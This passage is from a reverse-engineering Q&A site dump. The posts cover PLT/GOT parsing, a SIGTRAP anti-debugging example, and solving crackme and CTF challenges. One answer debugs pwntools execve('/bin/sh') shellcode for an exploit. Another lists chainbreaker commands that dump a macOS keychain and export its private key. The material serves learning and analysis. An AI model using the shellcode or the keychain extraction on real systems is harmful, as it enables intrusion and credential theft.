  <row Id="20201" PostTypeId="2" ParentId="20194" CreationDate="2018-12-26T15:37:39.373" Score="0" Body="&lt;p&gt;When encountering such issue, you should keep debugging. After breaking on the payload you can notice GDB is showing these instructions (as Intel flavor disassembly):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push   0x68&#xA;push   0x732f2f2f&#xA;push   0x6e69622f&#xA;mov    ebx,esp&#xA;push   0x1010101&#xA;xor    DWORD PTR [ecx+eax*1],0x51c93101&#xA;push   0x4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This XOR instruction is suspicious since it is using &lt;em&gt;eax&lt;/em&gt; and &lt;em&gt;ecx&lt;/em&gt; while they've not been initiliazed by our shellcode. I checked against what &lt;em&gt;pwnlib&lt;/em&gt; instructions suggest for this shellcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shellcraft.i386.linux.sh()&#xA;/* ... */&#xA;xor dword ptr [esp], 0x1016972&#xA;/* ... */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you're still getting a SEGFAULT because the instruction is wrong, and dereferencing some incorrect values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the second shellcode you're providing can be retrieved with &lt;code&gt;shellcraft.execve('/bin/sh')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is not from &lt;em&gt;pwntools&lt;/em&gt; but must be linked to the way the payload is used. The bad instruction identified above contains a '$' character which is then (if you still use your &lt;code&gt;$(python -c '...')&lt;/code&gt; input) interpreted by the subshell invoked as the variable name '$ri'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This variable is likely not defined in your shell which in turn makes these 3 characters to be deleted from the input given to the program, hence, modifying operands of this instruction and the instruction following it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to make it right, you may sanitize the input by bringing whatever is required. For example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;asm(shellcraft.i386.linux.sh()).replace('$','\$')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suppose it is the issue you got, but can't be sure without more information.&lt;/p&gt;&#xA;" OwnerUserId="14820" LastEditorUserId="14820" LastEditDate="2018-12-26T18:18:19.187" LastActivityDate="2018-12-26T18:18:19.187" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20202" PostTypeId="2" ParentId="20190" CreationDate="2018-12-26T15:46:06.563" Score="0" Body="&lt;p&gt;If you want to keep it simple, it must not do a lot of syscalls and interactions with the whole memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be looking for a Unicorn-based IDA plugin such as &lt;a href=&quot;https://github.com/alexhude/uEmu&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt; which can achieve emulation of not-too-dependent functions and provide you a view of registers and memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you may have to use Unicorns bindings outside of IDA, here are some &lt;a href=&quot;http://www.unicorn-engine.org/docs/tutorial.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;examples&lt;/a&gt; and so you'll be able to emulate syscalls and all the stuff you need.&lt;/p&gt;&#xA;" OwnerUserId="14820" LastActivityDate="2018-12-26T15:46:06.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20203" PostTypeId="2" ParentId="6043" CreationDate="2018-12-26T23:48:11.063" Score="4" Body="&lt;p&gt;I found an easier way with &lt;a href=&quot;https://github.com/gremwell/chainbreaker&quot; rel=&quot;nofollow noreferrer&quot;&gt;chainbreaker fork&lt;/a&gt;. It works with MacOS 10.14 Mojave. See full instructions &lt;a href=&quot;https://github.com/gremwell/chainbreaker/blob/master/README-keydump.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, I did the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pip2 install hexdump pycrypto pyopenssl&#xA;$ git clone https://github.com/gremwell/chainbreaker.git &amp;amp;&amp;amp; cd chainbreaker&#xA;$ python2 chainbreaker.py -f ~/Library/Keychains/login.keychain-db -p &amp;lt;PASS&amp;gt;&#xA;$ openssl x509 -inform DER -in exported/associated/1/*.crt -out secret.crt&#xA;$ openssl rsa -inform DER -in exported/associated/1/*.key -out secret.key&#xA;$ openssl pkcs12 -export -out secret.p12 -inkey secret.key -in secret.crt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then secret.p12 is ready to be imported on another machine.&lt;/p&gt;&#xA;" OwnerUserId="26865" LastEditorUserId="18317" LastEditDate="2018-12-27T00:30:37.997" LastActivityDate="2018-12-27T00:30:37.997" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20204" PostTypeId="1" CreationDate="2018-12-27T04:15:23.233" Score="3" ViewCount="261" Body="&lt;p&gt;I want to show users imported symbols of a given ELF file like this(#1) in a &lt;a href=&quot;https://github.com/KYHSGeekCode/Android-Disassembler&quot; rel=&quot;nofollow noreferrer&quot;&gt;disassembler project.(Android app)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1d21a: f7fa e8e8 blx 173ec ; __android_log_print@plt ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently, I can only show like this(#2):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1d21a: f7fa e8e8 blx 173ec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To show data like #1, I heard that I need to parse PLT or GOT or PLTGOT. However I don't know how to use them to show &lt;strong&gt;name of functions.&lt;/strong&gt; (&lt;em&gt;Of course I don't know how to parse it, yet&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My theoritical approach is to disassemble PLT and find the target offset and do something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example;        &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     000173ec __android_log_print@plt:&#xA;     173ec:       e28fc600        add     ip, pc, #0, 12  ; ip!=pc?&#xA;     173f0:       e28cca11        add     ip, ip, #69632  ; addr of got? &#xA;     173f4:       e5bcf9f4        ldr     pc, [ip, #2548]!; index=2548&#xA;         000173f8 sleep@plt:&#xA;     173f8:       e28fc600        add     ip, pc, #0, 12&#xA;     173fc:       e28cca11        add     ip, ip, #69632&#xA;     17400:       e5bcf9ec        ldr     pc, [ip, #2540]!&#xA;     ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think I may earn that #2548 or #2540 by disassembling PLT... but no confidence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to parse PLT and show data like #1 in disassembly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="23870" LastActivityDate="2019-09-10T05:15:13.337" Title="Enumerating (name, addresses) in PLT of an ELF file without elf.h" Tags="|android|arm|elf|disassemblers|plt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20205" PostTypeId="2" ParentId="20190" CreationDate="2018-12-27T07:59:21.243" Score="0" Body="&lt;p&gt;I'll suggest using &lt;a href=&quot;https://github.com/lief-project/LIEF/&quot; rel=&quot;nofollow noreferrer&quot;&gt;LIEF&lt;/a&gt;. It has a neat feature &lt;code&gt;add_exported_function&lt;/code&gt; to add a function at an address as exported in a new file. You can have a look at this feature &lt;a href=&quot;https://lief.quarkslab.com/doc/latest/tutorials/08_elf_bin2lib.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2018-12-27T07:59:21.243" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20207" PostTypeId="1" AcceptedAnswerId="20213" CreationDate="2018-12-27T09:58:05.873" Score="2" ViewCount="1856" Body="&lt;p&gt;I'm reversing an ELF x86 binary which apparently has anti-reversing/anti-debuging protections, and one of the first thing the ELF does is to call a sys_signal with a SIGTRAP value :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:08048063                 mov     eax, 48         ; sys_signal&#xA;.text:08048068                 mov     ebx, 5          ; SIGTRAP&#xA;.text:0804806D                 mov     ecx, offset sub_80480E2&#xA;.text:08048072                 int     80h             ; LINUX - sys_signal&#xA;.text:08048074                 jmp     short loc_8048077&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have three questions :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, am I right to think that the purpose of this is to create a handler for the SIGTRAP signal, probably in order to prevent any debuger use&lt;/li&gt;&#xA;&lt;li&gt;Second, if this is creating a SIGTRAP handler, I should find a &lt;code&gt;__sighandler_t&lt;/code&gt; at &lt;code&gt;sub_80480E2&lt;/code&gt;, according to &lt;a href=&quot;https://github.com/Hackndo/misc/blob/master/syscalls32.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;this x86 syscall table&lt;/a&gt;. How can I setup IDA so that it recognizes it as a __sighandler_t struct?&lt;/li&gt;&#xA;&lt;li&gt;Third, I could not find any detailed information about this structure. What is its composition?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I found in &lt;code&gt;signal.h&lt;/code&gt; those lines : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Type of a signal handler.  */&#xA;typedef void (*__sighandler_t) (int);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is __sighandler_t only a ptr to a function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks ! Feel free to tell me if I'm not beeing clear or if I forgot a usefull information.&lt;/p&gt;&#xA;" OwnerUserId="23314" LastEditorUserId="23314" LastEditDate="2018-12-27T10:06:12.347" LastActivityDate="2018-12-27T16:27:40.607" Title="What is __sighandler_t struct and purpose of SIGTRAP signal handler" Tags="|ida|anti-debugging|struct|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20208" PostTypeId="2" ParentId="20190" CreationDate="2018-12-27T10:12:46.853" Score="2" Body="&lt;p&gt;You can use Ida's &lt;a href=&quot;https://hex-rays.com/products/ida/support/tutorials/debugging_appcall.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Appcall&lt;/a&gt; functionality:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Appcall is a mechanism to call functions inside the debugged program&#xA;  from the debugger or your script as if it were a built-in function.&#xA;  Such a mechanism can be used for debugging, fuzzing and testing&#xA;  applications. Appcall mechanism highly depends on the type information&#xA;  of the function to be called. For that reason it is necessary to have&#xA;  a correct function prototype before doing an Appcall, otherwise&#xA;  different or incorrect results may be returned.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have an example of using Appcall or rolling your own on my blog &lt;a href=&quot;https://www.remkoweijnen.nl/blog/2013/04/08/decrypting-dell-vworkspace-pit-files/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2018-12-27T10:12:46.853" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20209" PostTypeId="2" ParentId="20187" CreationDate="2018-12-27T11:29:20.243" Score="2" Body="&lt;p&gt;Here's how you do it with debugging.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 ch1.bin&#xA;[0x080484f0]&amp;gt; aaa&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[x] Analyze function calls (aac)&#xA;[x] Analyze len bytes of instructions for references (aar)&#xA;[x] Constructing a function name for fcn.* and sym.func.* functions (aan)&#xA;[x] Type matching analysis for all functions (afta)&#xA;[x] Use -AA or aaaa to perform additional experimental analysis.&#xA;[0x080484f0]&amp;gt; doo&#xA;Process with PID 18337 started...&#xA;File dbg:///tmp/ch1.bin  reopened in read-write mode&#xA;= attach 18337 18337&#xA;18337&#xA;[0xf7f6fc70]&amp;gt; pdf @ sym.main ~strcmp&#xA;│           0x08048700      e8d3fdffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set a breakpoint at the &lt;code&gt;strcmp&lt;/code&gt; call and continue execution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0xf7f6fc70]&amp;gt; s 0x08048700&#xA;[0x08048700]&amp;gt; db 0x08048700&#xA;[0x08048700]&amp;gt; dc&#xA;############################################################&#xA;##        Bienvennue dans ce challenge de cracking        ##&#xA;############################################################&#xA;&#xA;Veuillez entrer le mot de passe : test&#xA;hit breakpoint at: 8048700&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;pxr&lt;/code&gt; to dump &lt;code&gt;esp&lt;/code&gt; with flags and information about addresses.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048700]&amp;gt; pxr@esp~:0..5&#xA;0xfff45270  0x09075570  pU.. @esp eax (test)&#xA;0xfff45274  0x08048841  A... (.rodata) (/tmp/ch1.bin) str.123456789 program R X 'xor dword [edx], esi' 'ch1.bin' (123456789)&#xA;0xfff45278  0xfff452a8  .R.. stack R W 0x0 --&amp;gt;  edi&#xA;0xfff4527c  0x08048769  i... (.text) (/tmp/ch1.bin) sym.__libc_csu_init program R X 'lea eax, [ebx - 0xe8]' 'ch1.bin'&#xA;0xfff45280  0x00000000  .... edi&#xA;[0x08048700]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stack top points to our input &lt;code&gt;test&lt;/code&gt; passed as first param to &lt;code&gt;strcmp&lt;/code&gt;. The next &lt;code&gt;dword&lt;/code&gt; points to the second param at &lt;code&gt;0x08048841&lt;/code&gt; string 123456789.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;strcmp&lt;/code&gt; is a library function you can use &lt;code&gt;ltrace&lt;/code&gt; to do the same.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ltrace ./ch1.bin&#xA;__libc_start_main(0x804869d, 1, 0xffbe8304, 0x8048750 &amp;lt;unfinished ...&amp;gt;&#xA;puts(&quot;################################&quot;...############################################################&#xA;)                                               = 61&#xA;puts(&quot;##        Bienvennue dans ce cha&quot;...##        Bienvennue dans ce challenge de cracking        ##&#xA;)                                               = 61&#xA;puts(&quot;################################&quot;...############################################################&#xA;&#xA;)                                               = 62&#xA;printf(&quot;Veuillez entrer le mot de passe &quot;...)                                             = 34&#xA;malloc(2)                                                                                 = 0x9352570&#xA;getchar(2, 0, 0xffbe8258, 0xf7d792f6Veuillez entrer le mot de passe : test&#xA;)                                                     = 116&#xA;realloc(0x9352570, 2)                                                                     = 0x9352570&#xA;getchar(0x9352570, 2, 0xffbe8258, 0xf7d792f6)                                             = 101&#xA;realloc(0x9352570, 3)                                                                     = 0x9352570&#xA;getchar(0x9352570, 3, 0xffbe8258, 0xf7d792f6)                                             = 115&#xA;realloc(0x9352570, 4)                                                                     = 0x9352570&#xA;getchar(0x9352570, 4, 0xffbe8258, 0xf7d792f6)                                             = 116&#xA;realloc(0x9352570, 5)                                                                     = 0x9352570&#xA;getchar(0x9352570, 5, 0xffbe8258, 0xf7d792f6)                                             = 10&#xA;strcmp(&quot;test&quot;, &quot;123456789&quot;)                                                               = 1&#xA;puts(&quot;Dommage, essaye encore une fois.&quot;...Dommage, essaye encore une fois.&#xA;)                                               = 33&#xA;+++ exited (status 0) +++&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;TBF you don't need to debug it at all and just static analysis would do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080484f0]&amp;gt; pdf @ sym.main~strcmp&#xA;│           0x08048700      e8d3fdffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)&#xA;[0x080484f0]&amp;gt; s 0x08048700&#xA;[0x08048700]&amp;gt; pd-10&#xA;│           0x080486d9      c704240c8904.  mov dword [esp], str.Veuillez_entrer_le_mot_de_passe_: ; [0x804890c:4]=0x69756556 ; &quot;Veuillez entrer le mot de passe : &quot; ; const char *format&#xA;│           0x080486e0      e8b3fdffff     call sym.imp.printf         ; int printf(const char *format)&#xA;│           0x080486e5      8b45f4         mov eax, dword [s1]&#xA;│           0x080486e8      890424         mov dword [esp], eax&#xA;│           0x080486eb      e80effffff     call sym.getString&#xA;│           0x080486f0      8945f4         mov dword [s1], eax&#xA;│           0x080486f3      8b45f8         mov eax, dword [local_8h]&#xA;│           0x080486f6      89442404       mov dword [s2], eax         ; const char *s2&#xA;│           0x080486fa      8b45f4         mov eax, dword [s1]&#xA;│           0x080486fd      890424         mov dword [esp], eax        ; const char *s1&#xA;[0x08048700]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we know the arguments to &lt;code&gt;strcmp&lt;/code&gt; : &lt;code&gt;s1&lt;/code&gt; and &lt;code&gt;local_8h&lt;/code&gt;. &lt;code&gt;s1&lt;/code&gt; was populated with a call to &lt;code&gt;sym.getString&lt;/code&gt;, so thats probably our input and hence &lt;code&gt;local_8h&lt;/code&gt; is the string we need to find to match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'll see where it was used//modified (read/write) in the function. Use afv(R/W)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048700]&amp;gt; afv?&#xA;Usage: afv  [rbs]&#xA;| afvr[?]                       manipulate register based arguments&#xA;| afvb[?]                       manipulate bp based arguments/locals&#xA;| afvs[?]                       manipulate sp based arguments/locals&#xA;| afv*                          output r2 command to add args/locals to flagspace&#xA;| afvR [varname]                list addresses where vars are accessed (READ)&#xA;| afvW [varname]                list addresses where vars are accessed (WRITE)&#xA;| afva                          analyze function arguments/locals&#xA;| afvd name                     output r2 command for displaying the value of args/locals in the debugger&#xA;| afvn [new_name] ([old_name])  rename argument/local&#xA;| afvt [name] [new_type]        change type for given argument/local&#xA;| afv-([name])                  remove all or given var&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use this on &lt;code&gt;local_8h&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048700]&amp;gt; afvR local_8h&#xA;  local_8h  0x80486f3,0x8048709&#xA;[0x08048700]&amp;gt; afvW local_8h&#xA;  local_8h  0x80486ae&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At 0x80486ae it was written to or initialized.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048700]&amp;gt; pd3 @ 0x80486ae &#xA;│           0x080486ae      c745f8418804.  mov dword [local_8h], str.123456789 ; 0x8048841 ; &quot;123456789&quot;&#xA;│           0x080486b5      c704244c8804.  mov dword [esp], str.       ; [0x804884c:4]=0x23232323 ; &quot;############################################################&quot; ; const char *s&#xA;│           0x080486bc      e807feffff     call sym.imp.puts           ; int puts(const char *s)&#xA;[0x08048700]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here r2 resolved the address 0x8048841 to a string 123456789&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2018-12-27T11:29:20.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20210" PostTypeId="1" CreationDate="2018-12-27T13:57:26.827" Score="2" ViewCount="1608" Body="&lt;p&gt;So we were playing CTF , and we found this interesting RE challenge . And when we did a statical analysis to the file we found an interesting for loop . &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for (var_84 = 0x0; var_84 &amp;lt; 0x13; var_84 = var_84 + 0x1) {&#xA;       edx = var_84;&#xA;      *(int8_t * )(var_84 + &quot;Catch Me If You Can&quot;) = sign_extend_32( * (int8_t * )(var_84 + &quot;Catch Me If You Can&quot;)) ^ * (ebp + (edx * 0x4 - 0xd8));&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain the code above ? &lt;/p&gt;&#xA;" OwnerUserId="26818" LastActivityDate="2018-12-27T14:20:05.953" Title="Reversing PE32 executable - CTF Question" Tags="|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20211" PostTypeId="2" ParentId="20210" CreationDate="2018-12-27T14:20:05.953" Score="3" Body="&lt;p&gt;It is byte-byte string xor in specific order.&#xA;&quot;Catch me if you can&quot; is a string, or array of bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;var_84 (and edx register) is an index in it.&#xA;I don't know what exactly is a stack layout and can not say with what exactly it is XORed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In more readable C it will look like as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array = &amp;amp;&quot;Catch me if you can&quot;[0];&#xA;for (var_84 = 0x0; var_84 &amp;lt; 0x13; var_84 = var_84 + 0x1) {&#xA;       edx = var_84;&#xA;      array[var_84] = sign_extend_32( array[var_84]) ^ * (ebp + (edx * 0x4 - 0xd8));&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-12-27T14:20:05.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20212" PostTypeId="2" ParentId="20204" CreationDate="2018-12-27T15:18:45.463" Score="4" Body="&lt;p&gt;This information is available from the dynamic segment &lt;code&gt;PT_DYNAMIC&lt;/code&gt;. This is an array of structure &lt;code&gt;ElfXX_Dyn&lt;/code&gt;. You have to search for the type &lt;code&gt;DT_REL&lt;/code&gt; or &lt;code&gt;DT_RELA&lt;/code&gt;.&#xA;This is an array of &lt;code&gt;ElfXX_Rel&lt;/code&gt; or &lt;code&gt;ElfXX_Rela&lt;/code&gt;. The field &lt;code&gt;r_offset&lt;/code&gt; is the offset to the GOT entry. And the name could be retrieved with the field &lt;code&gt;r_info&lt;/code&gt;. It contains an index for &lt;code&gt;ElfXX_Sym&lt;/code&gt;.&#xA;You probably want to use an external library to do that.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastEditorUserId="26176" LastEditDate="2019-09-10T05:15:13.337" LastActivityDate="2019-09-10T05:15:13.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20213" PostTypeId="2" ParentId="20207" CreationDate="2018-12-27T16:27:40.607" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;First, am I right to think that the purpose of this is to create a&#xA;  handler for the SIGTRAP signal, probably in order to prevent any&#xA;  debuger use&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When a SIGTRAP is raised, normally the handler given in parameter of &lt;code&gt;signal&lt;/code&gt; is called. If you have a debugger attached, this function will not get called.&#xA;If your handler is never called, you can assume a debugger is attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;signal.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;void on_trap(int n)&#xA;{&#xA;        puts(&quot;on_trap&quot;);&#xA;}&#xA;&#xA;void callme(void)&#xA;{&#xA;        puts(&quot;hello&quot;);&#xA;        __asm__ volatile(&quot;int $0x03&quot;);&#xA;        puts(&quot;bye&quot;);&#xA;}&#xA;&#xA;int main(void)&#xA;{&#xA;        signal(SIGTRAP, on_trap);&#xA;        callme();&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normal run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./antidebug&#xA;hello&#xA;on_trap&#xA;bye&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With gdb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb -q antidebug&#xA;Reading symbols from antidebug...(no debugging symbols found)...done.&#xA;(gdb) r&#xA;Starting program: /tmp/antidebug&#xA;hello&#xA;&#xA;Program received signal SIGTRAP, Trace/breakpoint trap.&#xA;0x0000000008001174 in callme ()&#xA;(gdb) c&#xA;Continuing.&#xA;bye&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Second, if this is creating a SIGTRAP handler, I should find a&#xA;  __sighandler_t at sub_80480E2, according to this x86 syscall table. How can I setup IDA so that it recognizes it as a __sighandler_t&#xA;  struct?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;sighandler_t is a typedef for a function pointer, not a structure.&#xA;If you want to define a memory area as a structure, you can use the shortcut &lt;code&gt;ALT+Q&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Third, I could not find any detailed information about this structure.&#xA;  What is its composition?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sub_80480E2&lt;/code&gt; contains code, as mentioned this is not a structure but a function pointer.&#xA;Imagine you have the syscall &lt;code&gt;sigaction&lt;/code&gt; instead, you can simply check the &lt;a href=&quot;http://man7.org/linux/man-pages/man2/sigaction.2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;man page&lt;/a&gt; to see the structure definition.&#xA;But IDA Pro has most of structures definition from standard libraries.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is __sighandler_t only a ptr to a function?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2018-12-27T16:27:40.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20214" PostTypeId="2" ParentId="1992" CreationDate="2018-12-27T18:49:43.413" Score="38" Body="&lt;p&gt;Let me summarize the links given at &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1993/12321&quot;&gt;https://reverseengineering.stackexchange.com/a/1993/12321&lt;/a&gt; without going into serious disasembly analysis for now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the Linux kernel + dynamic linker is going to run a binary with &lt;code&gt;exec&lt;/code&gt;, it traditionally just dumped the ELF section into a known memory location specified by the linker during link time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, whenever your coded:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;referenced a global variable inside your code&lt;/li&gt;&#xA;&lt;li&gt;called a function from inside your code&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;the compiler + linker could just hardcode the address into the assembly and everything would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, how can we do it when dealing with shared libraries, which must necessarily get loaded at potentially different addresses every time to avoid conflicts between two shared libraries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The naive solution would be to keep relocation metadata on the final executable, &lt;a href=&quot;https://stackoverflow.com/questions/3322911/what-do-linkers-do&quot;&gt;much like the actual linker does&lt;/a&gt; and whenever the program is loaded, have the dynamic linker go over every single access and patch it up with the right address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this would be too time consuming, since there could be a lot of references to patch on a program, and then that program would take a long time to start running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution, as usual, is to add another level of indirection: the GOT and PLT, which are two extra chunks of memory setup by the compilation system + dynamic linker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the program is launched, the dynamic linker checks the address of shared libraries, and hacks up the GOT and PLT so that it will point correctly to the required shared library symbols:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;whenever a global variable of a shared library is accessed by your program, the compiler + linker emits instead two memory accesses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    0x200271(%rip),%rax        # 200828 &amp;lt;_DYNAMIC+0x1a0&amp;gt;&#xA;mov    (%rax),%eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first one load the true address of the variable from the GOT, which the dynamic linker previously set, into &lt;code&gt;rax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second indirect access actually accesses the variable indirectly through the address from &lt;code&gt;rax&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;for code, things are a bit more complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever a function from a shared library is called, the linker makes us jump to an address in the PLT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first time the function is called, the PLT code uses offsets stored in the GOT to decide the actual final location of the function, and then:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;stores this pre-calculated value&lt;/li&gt;&#xA;&lt;li&gt;jumps there&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The next times the function is called, the value has already been 